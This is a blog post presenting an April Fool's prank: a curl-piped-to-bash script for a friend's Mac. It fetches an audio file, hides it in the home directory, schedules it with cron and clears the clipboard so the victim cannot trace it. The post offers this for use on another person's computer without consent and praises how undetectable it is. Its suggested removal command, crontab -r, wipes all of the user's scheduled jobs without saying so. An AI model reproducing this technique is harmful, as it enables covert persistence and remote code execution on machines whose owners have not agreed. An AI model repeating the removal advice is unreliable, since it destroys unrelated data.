Skip to main content
njbrown.com

A long-winded April Fool's rickroll

Never gonna give you up...

Run this command in your (macOS) Terminal:

curl -L njbrown.com/rr

It should print this as output:

#!/bin/bash
cd ~ && \
curl -L -o ~/.rr.mp3 https://njbrown.com/rr.mp3 && \
(crontab -l 2>/dev/null; echo "0 9 1 4 * afplay ~/.rr.mp3") | crontab - && \
pbcopy < /dev/null
echo "armed."

Once you've confirmed that the output looks the same, you can run this one, simple command on a friend's Terminal:

curl -L njbrown.com/rr | bash

This automatically installs scheduled Rickroll audio onto their computer that will play at precisely 9:00am on April 1st. The best part? They'll almost certainly have no idea where it's coming from. Let me explain.


How does this work? Well, the | bash portion just tells Terminal to run—in bash—the script that we saw as output earlier. Here's what each line of the script does:

1 #!/bin/bash
2 cd ~ && \
3 curl -L -o ~/.rr.mp3 https://njbrown.com/rr.mp3 && \
4 (crontab -l 2>/dev/null; echo "0 9 1 4 * afplay ~/.rr.mp3") | crontab - && \
5 pbcopy < /dev/null
6 echo "armed."
  1. Tells Terminal that the script should be interpreted as a bash script.
  2. Moves into the home directory.
  3. Downloads a Rickroll sound file and hides it in the user's home directory.
  4. Add a new line to Apple's built-in crontab scheduling the sound file to be played on 9am on Apr 1.
  5. Clears the user clipboard (in case you copy+pasted the command).
  6. Prints an "armed" message to indicate that the script ran successfully.

It doesn't matter when you run the command. You could run it in January and it would still work in April. It is also virtually undetectable for a majority of computer users. Who uses crontab, and who routinely runs ls -a in their home directory?

If you need to deactivate the rickroll for whatever reason, you can run:

pkill afplay && crontab -r

which kills the audio and clears the crontab.